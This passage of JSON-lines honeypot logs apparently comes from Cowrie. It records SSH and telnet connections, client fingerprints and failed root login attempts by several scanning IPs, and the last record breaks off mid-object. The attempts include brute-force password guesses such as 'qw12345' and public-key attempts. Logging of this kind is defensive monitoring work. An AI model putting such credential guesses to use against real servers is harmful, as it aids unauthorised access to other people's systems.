{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:24.121700Z","src_ip":"80.66.85.226","session":"7a69cd1e1fbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:24.213627Z","src_ip":"80.66.85.226","session":"7a69cd1e1fbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qw12345","message":"login attempt [root/qw12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:24.492408Z","src_ip":"80.66.85.226","session":"7a69cd1e1fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:25.585986Z","src_ip":"80.66.85.226","session":"7a69cd1e1fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.28482985496521,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:30.994893Z","src_ip":"192.119.13.58","session":"59aa24f0878f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39394,"dst_ip":"10.17.0.5","dst_port":23,"session":"090bfb106452","protocol":"telnet","message":"New connection: 192.119.13.58:39394 (10.17.0.5:23) [session: 090bfb106452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:32.484370Z"}
{"eventid":"cowrie.session.closed","duration":34.67537450790405,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:33.529088Z","src_ip":"192.119.13.58","session":"fb065cb345c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.66996359825134,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:38.829690Z","src_ip":"192.119.13.58","session":"6932a57c1fc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.15683937072754,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:47.648326Z","src_ip":"186.195.16.41","session":"d9633d20c237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43612,"dst_ip":"10.17.0.5","dst_port":23,"session":"36f82645557e","protocol":"telnet","message":"New connection: 192.119.13.58:43612 (10.17.0.5:23) [session: 36f82645557e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:48.991168Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51916,"dst_ip":"10.17.0.5","dst_port":23,"session":"a653ab456efa","protocol":"telnet","message":"New connection: 192.119.13.58:51916 (10.17.0.5:23) [session: a653ab456efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:51.134758Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":41446,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5c03a8a1a81","protocol":"ssh","message":"New connection: 193.228.128.84:41446 (159.203.135.109:22) [session: c5c03a8a1a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:51.485644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:51.490831Z","src_ip":"193.228.128.84","session":"c5c03a8a1a81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:51.593665Z","src_ip":"193.228.128.84","session":"c5c03a8a1a81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stalker123","message":"login attempt [root/stalker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:51.907496Z","src_ip":"193.228.128.84","session":"c5c03a8a1a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:53.018878Z","src_ip":"193.228.128.84","session":"c5c03a8a1a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.386942863464355,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:12.871196Z","src_ip":"192.119.13.58","session":"090bfb106452","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56022,"dst_ip":"10.17.0.5","dst_port":23,"session":"292d78b74519","protocol":"telnet","message":"New connection: 192.119.13.58:56022 (10.17.0.5:23) [session: 292d78b74519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:13.460850Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.69.138","src_port":38500,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c3206429ad1","protocol":"ssh","message":"New connection: 87.121.69.138:38500 (10.17.0.5:22) [session: 2c3206429ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:18.107336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:18.115762Z","src_ip":"87.121.69.138","session":"2c3206429ad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:18.217144Z","src_ip":"87.121.69.138","session":"2c3206429ad1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:b3:5c:68:52:47:70:ff:8f:a7:7d:7d:1b:a9:9b:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDgwo9hGI2guPudhkPwnYiwUKbis0MHAEOTuppZM2IycOjMonMoTO1JrC2vvJCm4DrAgmtJw137WM69hF/Xt8CP27P5z8GxNyri0Kd8Qy1tOva8x2pTDfTozvB6hBHkF8EZr2fyd99o0U5u1T8VhDHQrgSvW/v6tXPnM7Sb2OQ51YQhRRQcYhXczvvgk61KavgIBSRyVSlCUl+cndxDGaN5v4z9fKO8vqJuS1wR1AxelNSkk+pvczWsCjMxkBxbxlHOhdg602hVRHXGHpKCfJ501l/ZZAH6rjGkUqsIzKJBmA/qGZfParJp7DqpLvRCBx84Yv/Y3e5yoFVR/NIYYd6ac9xAlTjxZ8mKFDqPLvuiinJF1kCniNiDGmweg2x4IHf5/j7XQrumfUTeZ+FLdJbnJE+7X7STQBS2oMLyoDUrrSP5MgFdadjnRyhOdHJ97xO6wRdiPwQRf3MZz6quJmr4A1Jx+OiBkbYn0Q6KBE9qqppJqHpXggbDrwcjb8JruOLnbcuMKjBpehLghAbvjXm4chvhiNHyNf0het9YjSkK4GcjmUUPNgWC0Qc+fgmJa+2RZ0zBqhq49AVdXmpHlnT6qz57d11JAHcSvJgeJTjJV2oGodgQ/3a3Pffmt7n2xBQF4RqBq8wTj56lmw/2IB5B1svbdSR4uI5d5xZVXLuJXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:b3:5c:68:52:47:70:ff:8f:a7:7d:7d:1b:a9:9b:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:18.636399Z","src_ip":"87.121.69.138","session":"2c3206429ad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:b3:5c:68:52:47:70:ff:8f:a7:7d:7d:1b:a9:9b:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDgwo9hGI2guPudhkPwnYiwUKbis0MHAEOTuppZM2IycOjMonMoTO1JrC2vvJCm4DrAgmtJw137WM69hF/Xt8CP27P5z8GxNyri0Kd8Qy1tOva8x2pTDfTozvB6hBHkF8EZr2fyd99o0U5u1T8VhDHQrgSvW/v6tXPnM7Sb2OQ51YQhRRQcYhXczvvgk61KavgIBSRyVSlCUl+cndxDGaN5v4z9fKO8vqJuS1wR1AxelNSkk+pvczWsCjMxkBxbxlHOhdg602hVRHXGHpKCfJ501l/ZZAH6rjGkUqsIzKJBmA/qGZfParJp7DqpLvRCBx84Yv/Y3e5yoFVR/NIYYd6ac9xAlTjxZ8mKFDqPLvuiinJF1kCniNiDGmweg2x4IHf5/j7XQrumfUTeZ+FLdJbnJE+7X7STQBS2oMLyoDUrrSP5MgFdadjnRyhOdHJ97xO6wRdiPwQRf3MZz6quJmr4A1Jx+OiBkbYn0Q6KBE9qqppJqHpXggbDrwcjb8JruOLnbcuMKjBpehLghAbvjXm4chvhiNHyNf0het9YjSkK4GcjmUUPNgWC0Qc+fgmJa+2RZ0zBqhq49AVdXmpHlnT6qz57d11JAHcSvJgeJTjJV2oGodgQ/3a3Pffmt7n2xBQF4RqBq8wTj56lmw/2IB5B1svbdSR4uI5d5xZVXLuJXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:18.640574Z","src_ip":"87.121.69.138","session":"2c3206429ad1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:c3:81:fc:ba:9d:aa:01:5d:e0:2d:a5:ba:0e:e9:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyymf/kzqoTPY4J4/Kz8F1qTSj5sOdg3QJ0MT2DcdAPV6ragur5OMYfRxEC5FykvVfs0/vOAImwZbYL5svNwyAgjDnL56BQS8t8knYw7+uyouM88NxUxuSuEU0yMG/O208HaedBZFjQJkFkVceF3xfujqqB+tgVLt06XB8Ndfb+DpbR0xXL9pRJGmYWo6hXAcLqXUT0sl1lrPzE80YYY/2z1K4Ak3PB/zeQIp3ibZv4Uk7yA1ob1LCIPkmNcpXXDN83BXDT/HPX4usxYo5QPA9XMKmeKRcetoQplSPLdKR0TuRafkjhv3Lz8QH2v0UzbwyiHYf/DFX+WgoJ2MhMt0t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:c3:81:fc:ba:9d:aa:01:5d:e0:2d:a5:ba:0e:e9:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:18.725611Z","src_ip":"87.121.69.138","session":"2c3206429ad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:c3:81:fc:ba:9d:aa:01:5d:e0:2d:a5:ba:0e:e9:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyymf/kzqoTPY4J4/Kz8F1qTSj5sOdg3QJ0MT2DcdAPV6ragur5OMYfRxEC5FykvVfs0/vOAImwZbYL5svNwyAgjDnL56BQS8t8knYw7+uyouM88NxUxuSuEU0yMG/O208HaedBZFjQJkFkVceF3xfujqqB+tgVLt06XB8Ndfb+DpbR0xXL9pRJGmYWo6hXAcLqXUT0sl1lrPzE80YYY/2z1K4Ak3PB/zeQIp3ibZv4Uk7yA1ob1LCIPkmNcpXXDN83BXDT/HPX4usxYo5QPA9XMKmeKRcetoQplSPLdKR0TuRafkjhv3Lz8QH2v0UzbwyiHYf/DFX+WgoJ2MhMt0t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:18.735062Z","src_ip":"87.121.69.138","session":"2c3206429ad1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:e1:7e:c5:d4:57:7e:67:54:57:2d:9a:da:6b:b6:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDf8BwKffC3ouKQMapmGnsHXsrPvisUSr7UO/PFQo4l15e5TQaYWpwmOK0sOLvhrzidGAzoCpjg13W2YW51NBBIqiEClDdI0LCikloh5PtZdFbU8O86rnu0DutyqMIq5gLynQygerUGAE/LOSfvW/YDUWUinURltw9AOisnh52uDTabpqi5xpAraZ0579yJNLLNn7IulQQR23IbwFtKAb3KAzkuG1PaL41dzjxn0N+ZQi6XgRB/HqoRbqGmfAvaq0bgnP7767MVHGtuoAHFhHqC9Tvj/lSXGil6HwLuDNWYP2eoQS/btIbA/QZHbFdI1jCONPjZDAZ8HI1SwdJHMtzf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:e1:7e:c5:d4:57:7e:67:54:57:2d:9a:da:6b:b6:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:18.827309Z","src_ip":"87.121.69.138","session":"2c3206429ad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:e1:7e:c5:d4:57:7e:67:54:57:2d:9a:da:6b:b6:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDf8BwKffC3ouKQMapmGnsHXsrPvisUSr7UO/PFQo4l15e5TQaYWpwmOK0sOLvhrzidGAzoCpjg13W2YW51NBBIqiEClDdI0LCikloh5PtZdFbU8O86rnu0DutyqMIq5gLynQygerUGAE/LOSfvW/YDUWUinURltw9AOisnh52uDTabpqi5xpAraZ0579yJNLLNn7IulQQR23IbwFtKAb3KAzkuG1PaL41dzjxn0N+ZQi6XgRB/HqoRbqGmfAvaq0bgnP7767MVHGtuoAHFhHqC9Tvj/lSXGil6HwLuDNWYP2eoQS/btIbA/QZHbFdI1jCONPjZDAZ8HI1SwdJHMtzf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:18.831983Z","src_ip":"87.121.69.138","session":"2c3206429ad1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:ec:a4:7a:14:8b:b0:0d:20:17:37:ea:70:ce:4b:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqkQHv/MuVKLIY0l1DQkpTy0pm6jjDHDqkJqKvNmprRubmmKHXyv2DV/Wq5KS18NeooaF+QIEWVzd8IX5cX24oySLlQs1fimaMtVAk6cn6TAA5G34atI1MEKVi0T9tEXzns4lYUhX/91r9vEMufq4MqguJKFdEeUW1no6fJoPYO8B8zFD+lkpfNBBqHp96eb9HrY2QeXfsxoarSZ+dEQD1qjlgh6AFnYuFNHEcVD1xzydn9h1EbC5iRwIxht9JhcEUingo5dhBIuAzwv7eTnrUl6mUHKoOFndbi/Tezut6mE182Zybu2MbFA6LcYgiQN65KwDNW6sd1cdtoPsZ6xsnw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:ec:a4:7a:14:8b:b0:0d:20:17:37:ea:70:ce:4b:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:18.924431Z","src_ip":"87.121.69.138","session":"2c3206429ad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:ec:a4:7a:14:8b:b0:0d:20:17:37:ea:70:ce:4b:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqkQHv/MuVKLIY0l1DQkpTy0pm6jjDHDqkJqKvNmprRubmmKHXyv2DV/Wq5KS18NeooaF+QIEWVzd8IX5cX24oySLlQs1fimaMtVAk6cn6TAA5G34atI1MEKVi0T9tEXzns4lYUhX/91r9vEMufq4MqguJKFdEeUW1no6fJoPYO8B8zFD+lkpfNBBqHp96eb9HrY2QeXfsxoarSZ+dEQD1qjlgh6AFnYuFNHEcVD1xzydn9h1EbC5iRwIxht9JhcEUingo5dhBIuAzwv7eTnrUl6mUHKoOFndbi/Tezut6mE182Zybu2MbFA6LcYgiQN65KwDNW6sd1cdtoPsZ6xsnw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:18.931097Z","src_ip":"87.121.69.138","session":"2c3206429ad1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:f3:45:a0:b0:39:f2:1b:87:05:c5:44:b2:9c:f5:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxNeIaRsY1MXAgvL6A/h/wJzKcFsiefpJujI9XxAYI0J/HkRMFCHAiaBZgO4EdJdGYMFOneo3oX9DrLFmUDp9/r51FtCiRXICNdjVXW9Z9ripjvWuM09CfkEc77xnSsgHC+ZBPLlCRQNhJKh3laIfek/MDksCsk1zFKxLICKovkfUlbAcooy4jwCKEiOMNLL4I/Updl8qsoexrofybSkoakiKz+I4kam5fn8PK+Dhz5HUqgkpCIjQ4loaE16HObbzp6q6qDvLabvALkrZ8MXEdY73mu5ik1TXYB5SUD6YSlrj01BktkQVkYc0MDPf5a7szjxZMwwR7vmie1iahBTLn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:f3:45:a0:b0:39:f2:1b:87:05:c5:44:b2:9c:f5:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:19.022254Z","src_ip":"87.121.69.138","session":"2c3206429ad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:f3:45:a0:b0:39:f2:1b:87:05:c5:44:b2:9c:f5:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxNeIaRsY1MXAgvL6A/h/wJzKcFsiefpJujI9XxAYI0J/HkRMFCHAiaBZgO4EdJdGYMFOneo3oX9DrLFmUDp9/r51FtCiRXICNdjVXW9Z9ripjvWuM09CfkEc77xnSsgHC+ZBPLlCRQNhJKh3laIfek/MDksCsk1zFKxLICKovkfUlbAcooy4jwCKEiOMNLL4I/Updl8qsoexrofybSkoakiKz+I4kam5fn8PK+Dhz5HUqgkpCIjQ4loaE16HObbzp6q6qDvLabvALkrZ8MXEdY73mu5ik1TXYB5SUD6YSlrj01BktkQVkYc0MDPf5a7szjxZMwwR7vmie1iahBTLn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:19.038752Z","src_ip":"87.121.69.138","session":"2c3206429ad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:19.126032Z","src_ip":"87.121.69.138","session":"2c3206429ad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45092,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e90901b83e3","protocol":"telnet","message":"New connection: 192.119.13.58:45092 (10.17.0.5:23) [session: 8e90901b83e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:25.303218Z"}
{"eventid":"cowrie.session.closed","duration":41.147852420806885,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:30.138880Z","src_ip":"192.119.13.58","session":"36f82645557e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.96.172.91","src_port":37264,"dst_ip":"10.17.0.5","dst_port":22,"session":"c373aaa7c0ae","protocol":"ssh","message":"New connection: 172.96.172.91:37264 (10.17.0.5:22) [session: c373aaa7c0ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:34.978598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:30:34.993915Z","src_ip":"172.96.172.91","session":"c373aaa7c0ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":[